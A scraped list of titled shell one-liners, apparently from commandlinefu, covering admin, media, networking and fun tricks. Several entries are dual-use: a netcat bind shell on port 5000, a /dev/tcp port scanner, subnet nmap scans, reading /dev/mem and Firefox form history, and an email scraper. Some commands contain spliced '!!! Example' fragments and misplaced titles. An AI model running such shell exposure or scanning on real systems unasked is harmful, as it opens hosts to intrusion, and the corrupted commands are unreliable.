dig +short google.com
Get IP from hostname
ping -c 1 google.com | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
Broadcast your shell thru port 5000
bash -i 2>&1 | tee /dev/stderr | nc -l 5000
Remove comments and empty lines from a conf file
grep ^[^#] /etc/file.conf
Get a list of ssh servers on the local subnet
nmap -p 22 --open -sV 192.168.2.0/24
Quick directory bookmarks
to() { eval dir=\$$1; cd "$dir"; }
move cursor to beginning of command line
Ctrl+a
Add an audio soundtrack to a series of images to create an flv
ffmpeg -t 300 -r '0.5' -i head-%03d.png -i ../TvQuran.com__144.mp3 -acodec copy muxed.flv
Command line calculator
awk "BEGIN{ print $* }"
Sort on multiple dis-contiguous keys/fields (can even specify key number/field from the end)
file /bin/* | msort -j -l -n-1 -n2 2> /dev/null
Create an easy to pronounce shortened URL from CLI
shout () { curl -s "http://shoutkey.com/new?url=$1" | sed -n 's/\<h1\>/\&/p' | sed 's/<[^>]*>//g;/</N;//b' ;}
show framebuffer console modes to use in grub vga option
sudo hwinfo --framebuffer
Google URL shortener
googl () { curl -s -d "url=${1}" http://goo.gl/api/url | sed -n "s/.*:\"\([^\"]*\).*/\1\n/p" ;}
Upload folder to imageshack.us (forum)
imageshack() { for files in *; do curl -H Expect: -F fileupload="@$files" -F xml=yes -!!! Example ""http://www.imageshack.us/index.php" | grep image_link | sed -e 's/<image_link>/[IMG]/g' -e 's/<\/image_link>/[\/IMG]/g'; done; }
Kill any process with one command using program name
kill -9 `ps ax | egrep [f]elix.jar | egrep -o -e '^ *[0-9]+'`
Get Futurama quotations from slashdot.org servers
curl -Is slashdot.org | sed -n '5p' | sed 's/^X-//'
Randomize lines in a file
sort -R SOMEFILE
Randomize lines in a file
shuf SOMEFILE
kill some pids without specific pid
pkill -9 search_criteria
Verify if ntpd is working properly
ntpq -p
print shared library dependencies
LD_TRACE_LOADED_OBJECTS=1 name_of_executable
Unzip multiple files with one command
unzip '*.zip'
Trace a DNS query from root to the authoritive servers.
dig +trace google.com
Boot another OS at next startup
echo "savedefault --default=2 --once" | grub --batch; sudo reboot
preserve disk; keep OS clean
ram() { for i in /tmp /altroot;do mount -t tmpfs tmpfs $i;done&& for i in /var /root /etc $HOME; do find -d $i |cpio -pdmv /tmp&& mount -t tmpfs tmpfs $i&& mv -v /tmp$i/* $i&& rm -vrf /tmp$i ; done ;} usage: (in rc sequence) ram
Copy a MySQL Database to a new Server via SSH with one command
mysqldump --add-drop-table --extended-insert --force --log-error=error.log -uUSER -pPASS OLD_DB_NAME | ssh -C user@newhost "mysql -uUSER -pPASS NEW_DB_NAME"
Find usb device
diff <(lsusb) <(sleep 3s && lsusb)
find all file larger than 500M
find / -type f -size +500M
Create colorized html file from Vim or Vimdiff
:TOhtml
live ssh network throughput test
yes | pv | ssh $host "cat > /dev/null"
prints line numbers
nl
Save your sessions in vim to resume later
:mksession! <filename>
Tell local Debian machine to install packages used by remote Debian machine
ssh remotehost 'dpkg --get-selections' | dpkg --set-selections && dselect install
Bind a key with a command
bind -x '"\C-l":ls -l'
Take screenshot through SSH
DISPLAY=:0.0 import -window root /tmp/shot.png
intersection between two files
grep -Fx -f file1 file2
Alias HEAD for automatic smart output
alias head='head -n $((${LINES:-`tput lines 2>/dev/null||echo -n 12`} - 2))'
GREP a PDF file.
pdftotext [file] - | grep 'YourPattern'
Colorful man
apt-get install most && update-alternatives --set pager /usr/bin/most
copy working directory and compress it on-the-fly while showing progress
tar -cf - . | pv -s $(du -sb . | awk '{print $1}') | gzip > out.tgz
convert unixtime to human-readable
date -d @1234567890
A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
sudo strings /dev/mem
Diff on two variables
diff <(echo "$a") <(echo "$b")
runs a bash script in debugging mode
bash -x ./post_to_commandlinefu.sh
Prettify an XML file
tidy -xml -i -m [file]
Encrypted archive with openssl and tar
tar --create --file - --posix --gzip -- <dir> | openssl enc -e -aes256 -out <file>
Convert seconds into minutes and seconds
bc <<< 'obase=60;299'
Pipe stdout and stderr, etc., to separate commands
some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)
Schedule a script or command in x num hours, silently run in the background even if logged out
( ( sleep 2h; your-command your-args ) & )
Manually Pause/Unpause Firefox Process with POSIX-Signals
killall -STOP -m firefox
Install your ssh key file on a remote system
ssh user@remote 'cat >> ~/.ssh/authorized_keys2' < ~/.ssh/id_rsa.pub
continuously check size of files or directories
watch -n <time_interval> "du -s <file_or_directory>"
display a smiling smiley if the command succeeded and a sad smiley if the command failed
<commmand>; if [[ "$?" = 0 ]]; then echo ':)'; else echo ':('; fi
distribution specific information
lsb_release -a
For finding out if something is listening on a port and if so what the daemon is.
fuser -n tcp {0..65535}
execute your commands hiding secret bits from history records
read -e -s -p "Password: " password
List files by quoting or escaping special characters.
ls --quoting-style={escape,shell,c}
I finally found out how to use notify-send with at or cron
echo notify-send test | at now+1minute
List files with full path
find $(pwd) -maxdepth 1
Extract all of the files on an RPM on a non-RPM *nix
rpm2cpio package.rpm |cpio -dimv
Convert (almost) any video file into webm format for online html5 streaming
ffmpeg -i input_file.avi output_file.webm
List all authors of a particular git project
git log --format='%aN <%aE>' | awk '{arr[$0]++} END{for (i in arr){print arr[i], i;}}' | sort -rn | cut -d\ -f2-
vim's pastetoggle: when you press f9 'paste' is on , press f9 again and 'paste' is off, and so forth (works in insert-mode and command-mode)
:set pt=<f9>
bash script to zip a folder while ignoring git files and copying it to dropbox
git archive HEAD --format=zip > archive.zip
delay execution of a command that needs lots of memory and CPU time until the resources are available
( ( while [ 2000 -ge "$(free -m | awk '/buffers.cache:/ {print $4}')" ] || [ $(echo "$(uptime | awk '{print $10}' | sed -e 's/,$//' -e 's/,/./') >= $(grep -c ^processor /proc/cpuinfo)" | bc) -eq 1 ]; do sleep 10; done; my-command > output.txt ) & )
Short one line while loop that outputs parameterized content from one file to another
cut -f 1 three-column.txt > first-column.txt
Short one line while loop that outputs parameterized content from one file to another
awk '{print $1}' < three-column.txt > first-column.txt
Check if a web page has changed last time checked.
HTMLTEXT=$( curl -s http://www.page.de/test.html > /tmp/new.html ; diff /tmp/new.html /tmp/old.html ); if [ "x$HTMLTEXT" != x ] ; then echo $HTMLTEXT | mail -s "Page has changed." mail@mail.de ; fi ; mv /tmp/new.html /tmp/old.html
Get all ip address for the host
hostname -I
Print a date from 3 days ago
TZ=PST8PDT+72 date '+%Y_%m_%d'
Recursively remove all subversion folders
find . -name .svn -exec rm \-rf {} \;
Print number of mb of free ram
grep '^MemFree:' /proc/meminfo | awk '{ mem=($2)/(1024) ; printf "%0.0f MB\n", mem }'
Stop or Start (Restart) a Windows service from a Linux machine
net rpc -I ADDRESS -U USERNAME%PASSWORD service {stop|start} SVCNAME
Big Countdown Clock with hours, minutes and seconds
watch -tn1 'date +%r | figlet'
list folders containing less than 2 MB of data
find . -type d -exec du -sk '{}' \; | awk '($1 < 2048) {print $2}'
Run a long job and notify me when it's finished
./my-really-long-job.sh && notify-send "Job finished"
Make anything more awesome
command | figlet
When feeling down, this command helps
sl
Gets a random Futurama quote from /.
curl -Is slashdot.org | egrep '^X-(F|B|L)' | cut -d \- -f 2
Use lynx to run repeating website actions
lynx -accept_all_cookies -cmd_script=/your/keystroke-file
Instead of writing a multiline if/then/else/fi construct you can do that by one line
[[ test_condition ]] && if_true_do_this || otherwise_do_that
Display a list of committers sorted by the frequency of commits
svn log -q|grep "|"|awk "{print \$3}"|sort|uniq -c|sort -nr
List the number and type of active network connections
netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c
Efficiently print a line deep in a huge log file
sed '1000000!d;q' < massive-log-file.log
check the status of 'dd' in progress (OS X)
CTRL + T
A child process which survives the parent's death (for sure)
( command & )
prevent accidents while using wildcards
rm *.txt <TAB> <TAB>
Opens vi/vim at pattern in file
vi +/pattern [file]
April Fools' Day Prank
PROMPT_COMMAND='if [ $RANDOM -le 3200 ]; then printf "\0337\033[%d;%dH\033[4%dm \033[m\0338" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); fi'
Press Any Key to Continue
read -sn 1 -p "Press any key to continue..."
Get your external IP address
curl ip.appspot.com
List installed deb packages by size
dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -n
backup all your commandlinefu.com favourites to a plaintext file
clfavs(){ URL="http://www.commandlinefu.com";wget -O - --save-cookies c --post-data "username=$1&password=$2&submit=Let+me+in" $URL/users/signin;for i in `seq 0 25 $3`;do wget -O - --load-cookies c $URL/commands/favourites/plaintext/$i >>$4;done;rm -f c;}
send echo to socket network
echo "foo" > /dev/tcp/192.168.1.2/25
Go to parent directory of filename edited in last command
cd !$:h
Draw a Sierpinski triangle
perl -e 'print "P1\n256 256\n", map {$_&($_>>8)?1:0} (0..0xffff)' | display
List all files opened by a particular command
lsof -c dhcpd
Nicely display permissions in octal format with filename
stat -c '%A %a %n' *
recursive search and replace old with new string, inside files
$ grep -rl oldstring . |xargs sed -i -e 's/oldstring/newstring/'
shut of the screen.
xset dpms force standby
Remove all unused kernels with apt-get
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge
Create user add lines from partial passwd file
awk -F: '{print "useradd -u "$3,"-c \""$5"\"","-s "$7,$1}' passwd
Execute a command with a timeout
$COMMAND 2>&1 >/dev/null & WPID=$!; sleep $TIMEOUT && kill $! & KPID=$!; wait $WPID
Determine next available UID
getent passwd | awk -F: '($3>600) && ($3<10000) && ($3>maxuid) { maxuid=$3; } END { print maxuid+1; }'
Streaming HTML5 video to icecast server using dvgrab, ffmpeg2theora and oggfwd
dvgrab --format raw - | tee dvstream.dv | ffmpeg2theora -A 45 -V 400 -c 1 -f dv -x 360 -y 288 -o /dev/stdout - | tee savelivestream.ogv | oggfwd -p -d "Stream description" -n "Streamname" my.icecastserver.com 80 icecastpassword /stream.ogv
Maximum PNG compression with optipng, advpng, and advdef
optipng -o3 *png && advpng -z -4 *png && advdef -z -4 *png
diff output of two commands
diff <(tail -10 file1) <(tail -10 file2)
Listing only one repository with yum
yum --disablerepo=* --enablerepo=epel list available
List processes playing sound
lsof | grep pcm
killall -r ".my-process."
Kill all process using regular expression (-r option)
Easily decode unix-time (funtion)
utime { date -d @$1; }
ping MAC ADDRESS
ping -c 2 `arp-scan 10.1.1.0/24 | awk '/00:1b:11:dc:a9:65/ {print $1}'`
Count number of hits per IP address in last 2000 lines of apache logs and print the IP and hits if hits > 20
tail -n2000 /var/www/domains/*/*/logs/access_log | awk '{print $1}' | sort | uniq -c | sort -n | awk '{ if ($1 > 20)print $1,$2}'
bash-quine
s='s=\47%s\47; printf "$s" "$s"'; printf "$s" "$s"
fix flash video (flv) file (ffmpeg)
ffmpeg -i broken.flv -acodec copy -vcodec copy fixed.flv
Tail a log-file over the network
tail -f error_log | nc -l 1234
embed referred images in HTML files
grep -ioE "(url\(|src=)['\"]?[^)'\"]*" a.html | grep -ioE "[^\"'(]*.(jpg|png|gif)" | while read l ; do sed -i "s>$l>data:image/${l/[^.]*./};base64,`openssl enc -base64 -in $l| tr -d '\n'`>" a.html ; done;
Search shoutcast web radio by keyword
echo "Keyword?";read keyword;query="http://www.shoutcast.com/sbin/newxml.phtml?search="$keyword"";curl -s $query |awk -F '"' 'NR <= 4 {next}NR>15{exit}{sub(/SHOUTcast.com/,"http://yp.shoutcast.com/sbin/tunein-station.pls?id="$6)}{print i++" )"$2}'
Auto download Ubuntu 10.04 LTS with super fast zsync
mv ubuntu-10.04-rc-desktop-amd64.iso ubuntu-10.04-desktop-amd64.iso; i=http://releases.ubuntu.com/10.04/ubuntu-10.04-desktop-amd64.iso.zsync; while true; do if wget $i; then zsync $i; date; break; else sleep 30; fi; done
Realtime apache hits per second
tail -f access_log | cut -c2-21 | uniq -c
Simplest port scanner
for p in {1..1023}; do(echo >/dev/tcp/localhost/$p) >/dev/null 2>&1 && echo "$p open"; done
Get the list of root nameservers for a given TLD
dig +short NS org.
Extract title from HTML files
awk 'BEGIN{IGNORECASE=1;FS="<title>|</title>";RS=EOF} {print $2}' file.html
convert ascii string to hex
echo $ascii | perl -ne 'printf "%x", ord for split //'
remove empty lines
sed '/^$/d'
Create a single-use TCP (or UDP) proxy
nc -l -p 2000 -c "nc example.org 3000"
find geographical location of an ip address
lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8}'|sed 's\ip address flag \\'|sed 's\My\\'
read manpage of a unix command as pdf in preview (Os X)
man -t UNIX_COMMAND | open -f -a preview
Switch 2 characters on a command line.
ctrl-t
Find Duplicate Files (based on size first, then MD5 hash)
fdupes -r .
Use file(1) to view device information
file -s /dev/sd*
Bind a key with a command
bind '"\C-l":"ls -l\n"'
exclude a column with cut
cut -f5 --complement
Recover a deleted file
grep -a -B 25 -A 100 'some string in the file' /dev/sda1 > results.txt
Insert the last argument of the previous command
View the newest xkcd comic.
xkcd(){ wget -qO- http://xkcd.com/|tee >(feh $(grep -Po '(?<=")http://imgs[^/]+/comics/[^"]+\.\w{3}'))|grep -Po '(?<=(\w{3})" title=").*(?=" alt)';}
Create an audio test CD of sine waves from 1 to 99 Hz
(echo CD_DA; for f in {01..99}; do echo "$f Hz">&2; sox -nt cdda -r44100 -c2 $f.cdda synth 30 sine $f; echo TRACK AUDIO; echo FILE \"$f.cdda\" 0; done) > cdrdao.toc && cdrdao write cdrdao.toc && rm ??.cdda cdrdao.toc
Execute a command with a timeout
timeout 10 sleep 11
Remove color codes (special characters) with sed
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g"
throttle bandwidth with cstream
tar -cj /backup | cstream -t 777k | ssh host 'tar -xj -C /backup'
Brute force discover
sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/for invalid user/{a[$9]++}/Failed password for invalid user/{a["*" $11]++}END{for (i in a) printf "%6s\t%s\n", a[i], i|"sort -n"}'
Speed up launch of firefox
find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;
Create strong, but easy to remember password
read -s pass; echo $pass | md5sum | base64 | cut -c -16
format txt as table not joining empty columns
column -tns: /etc/passwd
Generate an XKCD #936 style 4 word password
shuf -n4 /usr/share/dict/words | tr -d '\n'
GRUB2: set Super Mario as startup tune
echo "GRUB_INIT_TUNE=\"1000 334 1 334 1 0 1 334 1 0 1 261 1 334 1 0 1 392 2 0 4 196 2\"" | sudo tee -a /etc/default/grub > /dev/null && sudo update-grub
Shell recorder with replay
script -t /tmp/mylog.out 2>/tmp/mylog.time; <do your work>; <CTRL-D>; scriptreplay /tmp/mylog.time /tmp/mylog.out
List files with quotes around each filename
ls -Q
Makes you look busy
alias busy='my_file=$(find /usr/include -type f | sort -R | head -n 1); my_len=$(wc -l $my_file | awk "{print $1}"); let "r = $RANDOM % $my_len" 2>/dev/null; vim +$r $my_file'
Duplicate several drives concurrently
dd if=/dev/sda | tee >(dd of=/dev/sdb) | dd of=/dev/sdc
Quickly analyse an Apache error log
for i in emerg alert crit error warn ; do awk '$6 ~ /^\['$i'/ {print substr($0, index($0,$6)) }' error_log | sort | uniq -c | sort -n | tail -1; done
Hex math with bc
echo 'obase=16; C+F' | bc
bash pause command
read -p "Press enter to continue.."
Grab a list of MP3s out of Firefox's cache
for i in `ls ~/.mozilla/firefox/*/Cache`; do file $i | grep -i mpeg | awk '{print $1}' | sed s/.$//; done
Determine whether a CPU has 64 bit capability or not
if cat /proc/cpuinfo | grep " lm " &> /dev/null; then echo "Got 64bit" ; fi
most used commands in history (comprehensive)
history | perl -F"\||<\(|;|\`|\\$\(" -alne 'foreach (@F) { print $1 if /\b((?!do)[a-z]+)\b/i }' | sort | uniq -c | sort -nr | head
Get your outgoing IP address
curl -s icanhazip.com
ssh: change directory while connecting
ssh -t server 'cd /etc && $SHELL'
Create and replay macros in vim
<esc> q a ...vim commands... <esc> q (to record macro) @a (plays macro 'a').
set desktop background to highest-rated image from Reddit /r/wallpapers
curl http://www.reddit.com/r/wallpapers.rss | grep -Eo 'http:[^&]+jpg' | head -1 | xargs feh --bg-seamless
Convert files from DOS line endings to UNIX line endings
sed -i 's/^M//' file
easily find megabyte eating files or directories
du -hs *|grep M|sort -n
Show simple disk IO table using snmp
watch -n1 snmptable -v2c -c public localhost diskIOTable
Simple top directory usage with du flips for either Linux or base Solaris
( du -xSk || du -kod ) | sort -nr | head
Let's make screen and ssh-agent friends
eval `ssh-agent`; screen
Recursively remove .svn directories
find . -type d -name .svn -delete
Mouse Tracking
while true; do xdotool getmouselocation | sed 's/x:\(.*\) y:\(.*\) screen:.*/\1, \2/' >> ./mouse-tracking; sleep 10; done
Start another instance of X via SSH
startx -- /usr/X11R6/bin/Xnest :5 -geometry 800x600
Extract audio from start to end position from a video
mplayer -vc null -vo null -ao pcm <input video file> -ss <start> -endpos <end>
Change display resolution
xrandr -s 1280x1024
See your current RAM frequency
/usr/sbin/dmidecode | grep -i "current speed"
Numerically sorted human readable disk usage
du -x --max-depth=1 | sort -n | awk '{ print $2 }' | xargs du -hx --max-depth=0
Introduction to user commands
man intro
shell function to make gnu info act like man.
alias info='info --vi-keys'
shows the full path of shell commands
which command
Listen to BBC Radio from the command line.
bbcradio() { local s PS3="Select a station: ";select s in 1 1x 2 3 4 5 6 7 "Asian Network an" "Nations & Local lcl";do break;done;s=($s);mplayer -playlist "http://www.bbc.co.uk/radio/listen/live/r"${s[@]: -1}".asx";}
Monitor bandwidth by pid
nethogs -p eth0
Terminal - Show directories in the PATH, one per line with sed and bash3.X `here string'
tr : '\n' <<<$PATH
use vim to get colorful diff output
svn diff | view -
find files containing text
grep -lir "some text" *
Quickly graph a list of numbers
gnuplot -persist <(echo "plot '<(sort -n listOfNumbers.txt)' with lines")
Perform a branching conditional
true && { echo success;} || { echo failed; }
Resume scp of a big file
rsync --partial --progress --rsh=ssh $file_source $user@$host:$destination_file
List of commands you use most often
history | awk '{print $2}' | sort | uniq -c | sort -rn | head
Use tee + process substitution to split STDOUT to multiple commands
some_command | tee >(command1) >(command2) >(command3) ... | command4
sniff network traffic on a given interface and displays the IP addresses of the machines communicating with the current host (one IP per line)
sudo tcpdump -i wlan0 -n ip | awk '{ print gensub(/(.*)\..*/,"\\1","g",$3), $4, gensub(/(.*)\..*/,"\\1","g",$5) }' | awk -F " > " '{print $1"\n"$2}'
Annotate tail -f with timestamps
tail -f file | while read; do echo "$(date +%T.%N) $REPLY"; done
Fast, built-in pipe-based data sink
Repoint an existing symlink to a new location
ln -nsf <TARGET> <LINK>
Rapidly invoke an editor to write a long, complex, or tricky command
Single use vnc-over-ssh connection
ssh -f -L 5900:localhost:5900 your.ssh.server "x11vnc -safer -localhost -nopw -once -display :0"; vinagre localhost:5900
Diff remote webpages using wget
diff <(wget -q -O - URL1) <(wget -q -O - URL2)
Close a hanging ssh session
~.
processes per user counter
ps hax -o user | sort | uniq -c
convert filenames in current directory to lowercase
rename 'y/A-Z/a-z/' *
Find files that were modified by a given command
touch /tmp/file ; $EXECUTECOMMAND ; find /path -newer /tmp/file
pipe output of a command to your clipboard
some command|xsel --clipboard
Cut out a piece of film from a file. Choose an arbitrary length and starting time.
ffmpeg -vcodec copy -acodec copy -i orginalfile -ss 00:01:30 -t 0:0:20 newfile
Analyse an Apache access log for the most common IP addresses
tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail
prevent large files from being cached in memory (backups!)
nocache <I/O-heavy-command>
Turn shell tracing and verbosity (set -xv) on/off with 1 command!
xv() { case $- in *[xv]*) set +xv;; *) set -xv ;; esac }
convert a line to a space
cat file | tr '\n' ''
Clean way of re-running bash startup scripts.
exec bash
split a multi-page PDF into separate files
gs -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -dFirstPage=2 -dLastPage=2 -sOutputFile=page2.pdf multipageinputfile.pdf
Pipe text from shell to windows cut and paste buffer using PuTTY and XMing.
echo "I'm going to paste this into WINDERS XP" | xsel -i
How many days until the end of the year
echo "There are $(($(date +%j -d"Dec 31, $(date +%Y)")-$(date +%j))) left in year $(date +%Y)."
nice disk usage, sorted by size, see description for full command
du -sk ./* | sort -nr
Facebook Email Scraper
fbemailscraper YourFBEmail Password
recursive search and replace old with new string, inside files
grep -rl oldstring . | parallel sed -i -e 's/oldstring/newstring/'
A command to post a message to Twitter that includes your geo-location and a short URL.
curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s tinyurl.com/api-create.php?url=URL_GOES_HERE) $(curl -s api.hostip.info/get_html.php?ip=$(curl ip.appspot.com))" -d source="cURL" twitter.com/statuses/update.json -o /dev/null
Find unused IPs on a given subnet
fping -r1 -g <subnet> 2> /dev/null | grep unreachable | cut -f1 -d' '
delete duplicate lines from a file and keep the order of the other lines
cat -n <file> | sort -k 2 | uniq -f 1 | sort -n | cut -f 2-
renice by name
renice +5 -p $(pidof <process name>)
Copy a file using dd and watch its progress
dd if=fromfile of=tofile & DDPID=$! ; sleep 1 ; while kill -USR1 $DDPID ; do sleep 5; done
Every Nth line position !!! Example "(AWK)
awk 'NR%3==1' file
List all authors of a particular git project
git shortlog -s | cut -c8-
Resize a Terminal Window
printf "\e[8;70;180;t"
Print a row of 50 hyphens
perl -le'print"-"x50'
cd up a number of levels
function ..(){ for ((j=${1:-1},i=0;i<j;i++));do builtin cd ..;done;}
Setup a persistant SSH tunnel w/ pre-shared key authentication
autossh -f -i /path/to/key -ND local-IP:PORT User@Server
monitor network traffic and throughput in real time
iptraf
Print trending topics on Twitter
curl --silent search.twitter.com | sed -n '/div id=\"hot\"/,/div/p' | awk -F\> '{print $2}' | awk -F\< '{print $1}' | sed '/^$/d'
get xclip to own the clipboard contents
xclip -o -selection clipboard | xclip -selection clipboard
Extract tarball from internet without local saving
wget -O - http://example.com/a.gz | tar xz
count and number lines of output, useful for counting number of matches
ps aux | grep [a]pache2 | nl
Check if system is 32bit or 64bit
getconf LONG_BIT
convert single digit to double digits
for i in ?.ogg; do mv $i 0$i; done
Create a local compressed tarball from remote host directory
ssh user@host "tar -zcf - /path/to/dir" > dir.tar.gz
Limit the cpu usage of a process
sudo cpulimit -p pid -l 50
bypass any aliases and functions for the command
\foo
List alive hosts in specific subnet
nmap -sP 192.168.1.0/24
View all date formats, Quick Reference Help Alias
alias dateh='date --help|sed -n "/^ *%%/,/^ *%Z/p"|while read l;do F=${l/% */}; date +%$F:"|'"'"'${F//%n/ }'"'"'|${l#* }";done|sed "s/\ *|\ */|/g" |column -s "|" -t'
your terminal sings
echo {1..199}" bottles of beer on the wall, cold bottle of beer, take one down, pass it around, one less bottle of beer on the wall,, " | espeak -v english -s 140
Make sure a script is run in a terminal.
[ -t 0 ] || exit 1
Matrix Style
echo -e "\e[32m"; while :; do for i in {1..16}; do r="$(($RANDOM % 2))"; if [[ $(($RANDOM % 5)) == 1 ]]; then if [[ $(($RANDOM % 4)) == 1 ]]; then v+="\e[1m $r "; else v+="\e[2m $r "; fi; else v+=" "; fi; done; echo -e "$v"; v=""; done
Quickly (soft-)reboot skipping hardware checks
/sbin/kexec -l /boot/$KERNEL --append="$KERNELPARAMTERS" --initrd=/boot/$INITRD; sync; /sbin/kexec -e
Recursively compare two directories and output their differences on a readable format
diff -urp /originaldirectory /modifieddirectory
Find broken symlinks and delete them
find -L /path/to/check -type l -delete
ls -hog → a more compact ls -l
ls -hog
git remove files which have been deleted
git rm $(git ls-files --deleted)
Silently ensures that a FS is mounted on the given mount point (checks if it's OK, otherwise unmount, create dir and mount)
(mountpoint -q "/media/mpdr1" && df /media/mpdr1/* > /dev/null 2>&1) || ((sudo umount "/media/mpdr1" > /dev/null 2>&1 || true) && (sudo mkdir "/media/mpdr1" > /dev/null 2>&1 || true) && sudo mount "/dev/sdd1" "/media/mpdr1")
dmesg with colored human-readable dates
dmesg -T|sed -e 's|\(^.*'`date +%Y`']\)\(.*\)|\x1b[0;34m\1\x1b[0m - \2|g'
df without line wrap on long FS name
df -P | column -t
send a circular
wall <<< "Broadcast This"
The BOFH Excuse Server
telnet towel.blinkenlights.nl 666
dd with progress bar and statistics
sudo dd if=/dev/sdc bs=4096 | pv -s 2G | sudo dd bs=4096 of=~/USB_BLACK_BACKUP.IMG
I finally found out how to use notify-send with at or cron
echo "export DISPLAY=:0; export XAUTHORITY=~/.Xauthority; notify-send test" | at now+1minute
See udev at work
udevadm monitor
perl one-liner to get the current week number
date +%V
Backup all MySQL Databases to individual files
for db in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $db | gzip > "/backups/mysqldump-$(hostname)-$db-$(date +%Y-%m-%d-%H.%M.%S).gz"; done
List the size (in human readable form) of all sub folders from the current location
du -sch ./*
Analyse compressed Apache access logs for the most commonly requested pages
zcat access_log.*.gz | awk '{print $7}' | sort | uniq -c | sort -n | tail -n 20
Send a local file via email
mpack -s "Backup: $file" "$file" email@id.com
Send a local file via email
mutt your@email_address.com -s "Message Subject Here" -a attachment.jpg </dev/null
list all opened ports on host
nmap -p 1-65535 --open localhost
Find jpeg images and copy them to a central location
find . -iname "*.jpg" -print0 | tr '[A-Z]' '[a-z]' | xargs -0 cp --backup=numbered -dp -u --target-directory {location} &
determine if tcp port is open
nmap -p 80 hostname
Convert wmv into avi
mencoder infile.wmv -ofps 23.976 -ovc lavc -oac copy -o outfile.avi
Generate a binary file with all ones (0xff) in it
tr '\000' '\377' < /dev/zero | dd of=allones bs=1024 count=2k
Router discovery
sudo arp-scan 192.168.1.0/24 -interface eth0
Monitor memory usage
watch vmstat -sSM
Convert encoding of given files from one encoding to another
iconv -f utf8 -t utf16 /path/to/file
Convert decimal numbers to binary
function decToBin { echo "ibase=10; obase=2; $1" | bc; }
Locking and unlocking files and mailboxes
lockfile
Short Information about loaded kernel modules
awk '{print $1}' "/proc/modules" | xargs modinfo | awk '/^(filename|desc|depends)/'
Shows you how many hours of avi video you have.
/usr/share/mplayer/midentify.sh `find . -name "*.avi" -print` | grep ID_LENGTH | awk -F "=" '{sum += $2} END {print sum/60/60; print "hours"}'
Output Detailed Process Tree for any User
psu(){ command ps -Hcl -F S f -u ${1:-$USER}; }
Create subdirectory and move files into it
(ls; mkdir subdir; echo subdir) | xargs mv
Play random music from blip.fm
mpg123 `curl -s http://blip.fm/all | sed -e 's#"#\n#g' | grep mp3$ | xargs`
Commit only newly added files to subversion repository
svn ci `svn stat |awk '/^A/{printf $2" "}'`
Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes.
dh() { du -ch --max-depth=1 "${@-.}"|sort -h }
Display GCC Predefined Macros
gcc -dM -E - <<<''
Enable cd by variable names
shopt -s cdable_vars
Get ssh server fingerprints
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub && ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key.pub
Prints per-line contribution per author for a GIT repository
git ls-files | xargs -n1 -d'\n' -i git-blame {} | perl -n -e '/\s\((.*?)\s[0-9]{4}/ && print "$1\n"' | sort -f | uniq -c -w3 | sort -r
Ultimate current directory usage command
ncdu
bash: hotkey to put current commandline to text-editor
bash-hotkey: <CTRL+x+e>
Show current working directory of a process
pwdx pid
Have an ssh session open forever
autossh -M50000 -t server.example.com 'screen -raAd mysession'
Base conversions with bc
echo "obase=2; 27" | bc -l
Put readline into vi mode
set -o vi
Transfer SSH public key to another machine in one step
ssh-keygen; ssh-copy-id user@host; ssh user@host
Start a command on only one CPU core
taskset -c 0 your_command
convert uppercase files to lowercase files
rename 'y/A-Z/a-z/' *
Simple multi-user encrypted chat server for 5 users
ncat -vlm 5 --ssl --chat 9876
Check if your ISP is intercepting DNS queries
dig +short which.opendns.com txt @208.67.220.220
Display current time in requested time zones.
zdump Japan America/New_York
Remove a range of lines from a file
sed -i <file> -re '<start>,<end>d'
Stamp a text line on top of the pdf pages.
echo "This text gets stamped on the top of the pdf pages." | enscript -B -f Courier-Bold16 -o- | ps2pdf - | pdftk input.pdf stamp - output output.pdf
Print diagram of user/groups
awk 'BEGIN{FS=":"; print "digraph{"}{split($4, a, ","); for (i in a) printf "\"%s\" [shape=box]\n\"%s\" -> \"%s\"\n", $1, a[i], $1}END{print "}"}' /etc/group|display
Create a file server, listening in port 7000
while true; do nc -l 7000 | tar -xvf -; done
Share your terminal session real-time
mkfifo foo; script -f foo
stderr in color
mycommand 2> >(while read line; do echo -e "\e[01;31m$line\e[0m"; done)
VI config to save files with +x when a shebang is found on line 1
au BufWritePost * if getline(1) =~ "^#!" | if getline(1) =~ "/bin/" | silent !chmod +x <afile> | endif | endif
Create a single PDF from multiple images with ImageMagick
convert *.jpg output.pdf
Delete all empty lines from a file with vim
:g/^$/d
track flights from the command line
flight_status() { if [[ $!!! Example "-eq 3 ]];then offset=$3; else offset=0; fi; curl "http://mobile.flightview.com/TrackByRoute.aspx?view=detail&al="$1"&fn="$2"&dpdat=$(date +%Y%m%d -d ${offset}day)" 2>/dev/null |html2text |grep ":"; }
check open ports
lsof -Pni4 | grep LISTEN
DELETE all those duplicate files but one based on md5 hash comparision in the current directory tree
find . -type f -print0|xargs -0 md5sum|sort|perl -ne 'chomp;$ph=$h;($h,$f)=split(/\s+/,$_,2);print "$f"."\x00" if ($h eq $ph)'|xargs -0 rm -v --
List recorded formular fields of Firefox
cd ~/.mozilla/firefox/ && sqlite3 `cat profiles.ini | grep Path | awk -F= '{print $2}'`/formhistory.sqlite "select * from moz_formhistory" && cd - > /dev/null
geoip lookup
